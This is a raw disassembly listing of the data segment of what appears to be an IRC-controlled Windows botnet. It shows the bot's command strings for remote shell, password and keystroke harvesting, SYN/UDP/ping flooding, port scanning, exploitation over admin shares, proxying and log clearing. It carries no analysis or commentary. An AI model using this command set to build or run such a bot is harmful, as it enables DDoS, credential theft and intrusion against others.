db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunni_2 db 'Already running.',0
align 10h
aOn db 'on',0 ; DATA XREF: sub_40EE72+1D25o
; sub_40EE72+1E72o
align 4
aSniff db 'sniff',0 ; DATA XREF: sub_40EE72+1D10o
align 4
aCom_rf db 'com.rf',0 ; DATA XREF: sub_40EE72+1CF9o
align 4
aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40EE72+1CE2o
align 4
aCom_cm db 'com.cm',0 ; DATA XREF: sub_40EE72+1CCBo
align 4
aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40EE72+1CB4o
aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40EE72+1C86o
; sub_40EE72+1C9Do
align 10h
aIrc_v db 'irc.v',0 ; DATA XREF: sub_40EE72+1C6Fo
align 4
aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40EE72+1C58o
align 4
aCom_fl db 'com.fl',0 ; DATA XREF: sub_40EE72+1C41o
align 4
aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40EE72+1C2Ao
align 4
aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40EE72+1C13o
align 4
aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40EE72+1BFCo
aCom_del db 'com.del',0 ; DATA XREF: sub_40EE72+1BE5o
aCom_delete db 'com.delete',0 ; DATA XREF: sub_40EE72+1BCEo
align 10h
aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40EE72+1BB7o
align 4
aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40EE72+1BA0o
align 4
aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40EE72+1B89o
aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o
align 4
aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40EE72+1B5Bo
align 10h
aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40EE72+1B44o
aIrc_se db 'irc.se',0 ; DATA XREF: sub_40EE72+1B2Do
align 10h
aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40EE72+1B16o
align 10h
aCom_o db 'com.o',0 ; DATA XREF: sub_40EE72+1AFFo
align 4
aCom_open db 'com.open',0 ; DATA XREF: sub_40EE72+1AE8o
align 4
aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40EE72+1AD1o
align 4
aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40EE72+1ABAo
align 4
aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40EE72+1AA3o
align 4
aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40EE72+1A8Co
align 4
aClone_q db 'clone.q',0 ; DATA XREF: sub_40EE72+1A75o
aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40EE72+1A5Eo
align 4
aThreads_k db 'threads.k',0 ; DATA XREF: sub_40EE72+1A47o
align 4
aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40EE72+1A30o
align 4
aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40EE72+1A19o
align 4
aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40EE72+1A02o
aIrc_pt db 'irc.pt',0 ; DATA XREF: sub_40EE72+19EBo
align 4
aIrc_part db 'irc.part',0 ; DATA XREF: sub_40EE72+19D4o
align 4
aIrc_j db 'irc.j',0 ; DATA XREF: sub_40EE72+19BDo
align 10h
aIrc_join db 'irc.join',0 ; DATA XREF: sub_40EE72+19A6o
align 4
aIrc_n db 'irc.n',0 ; DATA XREF: sub_40EE72+198Fo
align 4
aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40EE72+1978o
align 10h
aSa db 'sa',0 ; DATA XREF: sub_40EE72+1952o
align 4
aScanall db 'scanall',0 ; DATA XREF: sub_40EE72+193Do
aCom_fp db 'com.fp',0 ; DATA XREF: sub_40EE72+1928o
align 4
aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40EE72+1913o
align 4
aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40EE72+18FEo
align 4
aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40EE72+18E9o
align 4
aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40EE72+18D4o
align 4
aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40EE72+18BFo
aDaemon_rl_on db 'daemon.rl.on',0 ; DATA XREF: sub_40EE72+18AAo
align 4
aDaemon_rlogi_0 db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o
align 4
aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40EE72+1880o
align 4
aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40EE72+186Bo
align 4
aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40EE72+1856o
align 10h
aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40EE72+1841o
align 10h
aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40EE72+182Co
align 4
aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40EE72+1817o
align 4
aCom_gc db 'com.gc',0 ; DATA XREF: sub_40EE72+1802o
align 4
aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40EE72+17EDo
dword_437E50 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+17DDo
dd 2BBBB02h
aLoginListCompl db ' Login list complete.',0
align 10h
aD_S db '%d. %s',0 ; DATA XREF: sub_40EE72+17A9o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_40EE72+179Co
aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40EE72+177Ao
align 10h
aIrc_who db 'irc.who',0 ; DATA XREF: sub_40EE72+1761o
aCmd db '[CMD]',0 ; DATA XREF: sub_40EE72+1756o
align 10h
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40EE72+1751o
align 10h
aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40EE72+1738o
align 10h
aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40EE72+1723o
align 4
aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40EE72+170Eo
aCom_dll db 'com.dll',0 ; DATA XREF: sub_40EE72+16F9o
aCom_testdlls db 'com.testdlls',0 ; DATA XREF: sub_40EE72+16E4o
align 10h
aCom_drv db 'com.drv',0 ; DATA XREF: sub_40EE72+16CFo
aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: sub_40EE72+16BAo
align 4
aCom_up db 'com.up',0 ; DATA XREF: sub_40EE72+16A5o
align 10h
aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40EE72+1690o
align 4
aCom_key db 'com.key',0 ; DATA XREF: sub_40EE72+167Bo
aCom_harvest db 'com.harvest',0 ; DATA XREF: sub_40EE72+1666o
aCom_ps db 'com.ps',0 ; DATA XREF: sub_40EE72+1651o
align 4
aCom_procs db 'com.procs',0 ; DATA XREF: sub_40EE72+163Co
align 4
aIrc_rm0 db 'irc.rm0',0 ; DATA XREF: sub_40EE72+1627o
aIrc_rem0ve db 'irc.rem0ve',0 ; DATA XREF: sub_40EE72+1612o
align 4
aCom_si db 'com.si',0 ; DATA XREF: sub_40EE72+15FDo
align 10h
aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40EE72+15E8o
unk_437F7C db 2 ; DATA XREF: sub_40EE72+15DDo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 75h, 70h
db 65h ; e
db 72h, 73h, 79h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToSta_28 db ' Failed to start flood thread, error: <%d>.',0
align 4
unk_437FC8 db 2 ; DATA XREF: sub_40EE72+156Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 75h, 70h
db 65h ; e
db 72h, 73h, 79h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40EE72+14D8o
align 4
aCom_ni db 'com.ni',0 ; DATA XREF: sub_40EE72+14C3o
align 10h
aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40EE72+14AEo
aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40EE72+1499o
align 4
aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40EE72+1484o
align 4
aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40EE72+146Fo
align 10h
aIrc_log db 'irc.log',0 ; DATA XREF: sub_40EE72+145Ao
aIrc_al db 'irc.al',0 ; DATA XREF: sub_40EE72+1445o
align 10h
aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40EE72+1430o
aThreads_l db 'threads.l',0 ; DATA XREF: sub_40EE72+141Bo
align 4
aThreads_list db 'threads.list',0 ; DATA XREF: sub_40EE72+1406o
align 4
dword_438088 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+13D2o
dd 2BBBB02h
aFailedToReboot db ' Failed to reboot system.',0
align 4
dword_4380BC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+13CBo
dd 2BBBB02h
aRebootingSyste db ' Rebooting system.',0
aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40EE72+13B4o
align 4
aIrc_i db 'irc.i',0 ; DATA XREF: sub_40EE72+139Fo
align 4
aIrc_id db 'irc.id',0 ; DATA XREF: sub_40EE72+138Ao
align 4
aIrc_s db 'irc.s',0 ; DATA XREF: sub_40EE72+1375o
align 4
aIrc_status db 'irc.status',0 ; DATA XREF: sub_40EE72+1360o
align 4
aIrc_q db 'irc.q',0 ; DATA XREF: sub_40EE72+134Bo
align 10h
aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40EE72+1336o
align 4
aIrc_d db 'irc.d',0 ; DATA XREF: sub_40EE72+1321o
align 4
aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40EE72+130Co
align 4
aIrc_r db 'irc.r',0 ; DATA XREF: sub_40EE72+12F7o
align 4
aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40EE72+12E2o
align 4
aRoot_st db 'root.st',0 ; DATA XREF: sub_40EE72+12CDo
aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40EE72+12B8o
align 10h
aExploitation db 'Exploitation',0 ; DATA XREF: sub_40EE72+12ADo
align 10h
aScan db 'Scan',0 ; DATA XREF: sub_40EE72+12A8o
align 4
aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40EE72+128Fo
align 4
dword_438194 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40EE72+1284o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_40EE72+127Fo
align 4
aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40EE72+1266o
align 4
dword_4381BC dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40EE72+125Bo
aClone db 'Clone',0 ; DATA XREF: sub_40EE72+1256o
align 4
aClone_off db 'clone.off',0 ; DATA XREF: sub_40EE72+123Do
align 10h
aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40EE72+1228o
align 4
aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40EE72+1213o
align 4
aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40EE72+11FEo
aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o
align 4
dword_43821C dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+11DEo
aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40EE72+11C0o
dword_438238 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o
dword_438244 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o
dword_438250 dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40EE72+1197o
dword_438260 dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co
dword_43826C dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o
dword_438278 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+116Eo
dword_438288 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o
dword_438294 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo
dword_4382A0 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+1145o
dword_4382B0 dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao
dword_4382BC dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o
dword_4382C8 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+111Co
dword_4382D4 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o
dword_4382E4 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40EE72+110Co
aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o
align 4
dword_438308 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o
dword_438314 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40EE72+10E3o
dword_438320 dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40EE72+10CAo
dword_438328 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+10C2o
dword_438334 dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o
dword_438344 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40EE72+109Co
aDaemon_rlogin_ db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo
align 4
dword_438368 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40EE72+105Co
aServer db 'Server',0 ; DATA XREF: sub_40EE72+1057o
; sub_40EE72+1097o ...
align 10h
aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo
align 4
aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40EE72+1029o
aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40EE72+1014o
aLd_off db 'ld.off',0 ; DATA XREF: sub_40EE72+FFFo
align 4
aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40EE72+FEAo
align 4
aLd_on db 'ld.on',0 ; DATA XREF: sub_40EE72+FD5o
align 10h
aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40EE72+FC0o
aVer db 'ver',0 ; DATA XREF: sub_40EE72+FABo
aIrc_version db 'irc.version',0 ; DATA XREF: sub_40EE72+F96o
aLo db 'lo',0 ; DATA XREF: sub_40EE72+F81o
align 10h
aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40EE72+F6Co
align 4
aIrc_di db 'irc.di',0 ; DATA XREF: sub_40EE72+F57o
align 4
aIrc_die db 'irc.die',0 ; DATA XREF: sub_40EE72+F42o
aRn db 'rn',0 ; DATA XREF: sub_40EE72+F2Do
align 10h
aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40EE72+F15o
a63 db '63',0 ; DATA XREF: sub_40EE72+DEEo
align 10h
asc_438420: ; DATA XREF: sub_40EE72+DC6o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_40EE72+D89o
align 4
aServer_1 db '$server',0 ; DATA XREF: sub_40EE72+D7Eo
aRndnick db '$rndnick',0 ; DATA XREF: sub_40EE72+D6Do
align 10h
aChan db '$chan',0 ; DATA XREF: sub_40EE72+D51o
align 4
aUser_2 db '$user',0 ; DATA XREF: sub_40EE72+D40o
align 10h
aMe_0 db '$me',0 ; DATA XREF: sub_40EE72+D2Eo
aD db '$%d',0 ; DATA XREF: sub_40EE72+CC0o
aD_0 db '$%d-',0 ; DATA XREF: sub_40EE72+C05o
align 10h
aC_0: ; DATA XREF: sub_40EE72+B19o
unicode 0, <c>,0
dword_438464 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+AE4o
dd 2BBBB02h
aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0
dword_4384A4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+AD6o
dd 2BBBB02h
aChatAlreadyAct db ' Chat already active with user: %s.',0
align 4
dword_4384E4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+AC8o
dd 2BBBB02h
aFailedToSta_29 db ' Failed to start chat thread, error: <%d>.',0
dword_438528 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+A59o
dd 2BBBB02h
aChatFromUserS_ db ' Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_40EE72+9BFo
align 10h
dword_438560 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+99Co
dd 2BBBB02h
aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_4385B0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+984o
; sub_40EE72+4ABEo
dd 2BBBB02h
aFailedToSta_30 db ' Failed to start transfer thread, error: <%d>.',0
dword_4385F8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_40EE72+973o
dd 0A0Dh
dword_438610 dd 4E495001h, 47h ; DATA XREF: sub_40EE72+93Fo
aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o
align 4
dword_438634 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_40EE72+8DCo
dd 0D017325h, 0Ah
dword_438650 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40EE72+8ABo
dword_43865C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+791o
dd 2BBBB02h
aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0 db 'SEND',0 ; DATA XREF: sub_40EE72+6E8o
align 10h
dword_4386A0 dd 43434401h, 0 ; DATA XREF: sub_40EE72+6CAo
dword_4386A8 dd 323333h ; DATA XREF: sub_40EE72+651o
; sub_40EE72+B4Fo ...
dword_4386AC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5D2o
dd 2BBBB02h
aUserSLoggedOut db ' User: %s logged out.',0
align 4
dword_4386DC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+5ABo
dd 2BBBB02h
aJoinedChanne_0 db ' Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: sub_40EE72+574o
aPart db 'PART',0 ; DATA XREF: sub_40EE72+526o
; sub_40EE72+5EFo
align 4
aSS_0 db ':%s%s',0 ; DATA XREF: sub_40EE72+4FEo
align 10h
aNick db 'NICK',0 ; DATA XREF: sub_40EE72+3D0o
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o
; sub_40EE72+613o
dword_438738 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+355o
; sub_40EE72+5FF4o ...
dd 2BBBB02h
aUserSLoggedO_0 db ' User %s logged out.',0
align 4
aKick db 'KICK',0 ; DATA XREF: sub_40EE72+2E4o
align 10h
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+28Do
; sub_40EE72+4EB7o ...
align 4
a433 db '433',0 ; DATA XREF: sub_40EE72+262o
a@: ; DATA XREF: sub_40EE72+23Ao
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_40EE72+22Ao
a005 db '005',0 ; DATA XREF: sub_40EE72+215o
a001 db '001',0 ; DATA XREF: sub_40EE72+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o
; sub_40EE72+3B7o ...
align 10h
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1C3o
align 4
aPing db 'PING',0 ; DATA XREF: sub_40EE72+1A9o
align 4
asc_4387B4: ; DATA XREF: sub_40EE72+19Ao
; sub_40EE72+60FBo
unicode 0, <!>,0
asc_4387B8 db ' :',0 ; DATA XREF: sub_40EE72+86o
; sub_40EE72:loc_40FA19o
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41518A+120o
align 4
unk_4387C8 db 2 ; DATA XREF: sub_41533B:loc_4153C2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessListFai db 'Process list failed.',0
align 10h
unk_438800 db 2 ; DATA XREF: sub_41533B+80o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aProcessListCom db 'Process list completed.',0
unk_438838 db 2 ; DATA XREF: sub_41533B+19o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 72h, 6Fh
db 63h ; c
db 65h, 2 dup(73h)
db 65h ; e
db 73h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aListingProcess db 'Listing processes:',0
align 4
dword_43886C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: ___:00415669o
dd 2029671Fh, 2BBBB02h
aUserLoggedOutS db ' User logged out: <%s@%s>.',0
dword_4388A4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: ___:00415642o
dd 2029671Fh, 2BBBB02h
aErrorSessionru db ' Error: SessionRun(): <%d>.',0
align 10h
dword_4388E0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: ___:00415622o
dd 2029671Fh, 2BBBB02h
aUserLoggedInS@ db ' User logged in: <%s@%s>.',0
align 4
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o
align 4
dword_43892C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: ___:00415561o
dd 2029671Fh, 2BBBB02h
aErrorGetpeerna db ' Error: getpeername(): <%d>.',0
align 4
dword_438968 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_415685:loc_4156CAo
dd 2029671Fh, 2BBBB02h
aProtocolString db ' Protocol string too long.',0
dword_4389A0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4156DF+1Bo
dd 2029671Fh, 2BBBB02h, 6F4C2020h, 206E6967h, 656A6572h
dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h
dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h
dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h
dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h
dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h
dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh
dd 2BBBB02h, 61462020h, 64656C69h, 206F7420h, 72617473h
dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h
dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h
dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h
dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h
dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h
dd 61657268h, 25203A64h, 2E64h, 7A026E02h, 201F6D1Fh, 6F6C7228h
dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h
dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h
dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h
dd 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
dd 2029671Fh, 2BBBB02h, 61462020h, 64656C69h, 206F7420h
dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h
dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h
dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
dd 2029671Fh, 2BBBB02h, 72452020h, 3A726F72h, 41535720h
dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 0
aConst db 'const',0
align 4
dd 0
dword_438BAC dd 1 ; DATA XREF: sub_415D01+7o
off_438BB0 dd offset sub_415996 ; DATA XREF: sub_415D01+49r
aLetter db 'letter',0
align 10h
dd 2, 4159F4h, 706D6F63h, 2 dup(0)
dd 3, 415A41h, 6E756F63h, 797274h, 0
dd 4, 415ADFh, 736Fh, 2 dup(0)
dd 5, 415B54h
dword_438C04 dd 69257325h, 0 ; DATA XREF: sub_415996+40o
; ___:00415AC0o ...
byte_438C0C db 50h ; DATA XREF: ___:00415A63o
; ___:00415A70r
db 43h, 2 dup(0)
dword_438C10 dd 7C7325h ; DATA XREF: ___:00415B0Eo
; sub_415D01+39o
dword_438C14 dd 5D73255Bh, 7Ch ; DATA XREF: ___:00415C18o
dword_438C1C dd 334B32h ; DATA XREF: ___:00415C08o
dword_438C20 dd 5D64255Bh, 7325h ; DATA XREF: sub_415C5E+3Ao
dword_438C28 dd 5D4D5Bh ; DATA XREF: sub_415C5E+2Co
; sub_415C5E+57o
unk_438C2C db 2 ; DATA XREF: sub_415D6A+92o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0
db 2
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 6Fh, 72h
db 74h ; t
db 73h, 63h, 61h
db 6Eh ; n
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0
align 10h
off_438CA0 dd offset dword_438CD8 ; DATA XREF: sub_415F88+1B3o
; sub_4162AC+17Ao
align 8
dd offset dword_438CD0
align 10h
off_438CB0 dd offset dword_438CCC ; DATA XREF: sub_4162AC+1E3o
dd offset dword_438CC8
dd offset dword_438CC4
dd offset dword_438CC0
dword_438CC0 dd 5C3A44h ; DATA XREF: sub_415F88+217o
; ___:00438CBCo
dword_438CC4 dd 2444h ; DATA XREF: ___:00438CB8o
dword_438CC8 dd 5C3A43h ; DATA XREF: ___:00438CB4o
dword_438CCC dd 2443h ; DATA XREF: ___:off_438CB0o
dword_438CD0 dd 494D4441h, 244Eh ; DATA XREF: ___:00438CA8o
dword_438CD8 dd 24435049h, 0 ; DATA XREF: ___:off_438CA0o
unk_438CE0 db 2 ; DATA XREF: sub_415F88+2E5o
; sub_4162AC+2DBo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
unk_438D20 db 2 ; DATA XREF: sub_415F88+2CFo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
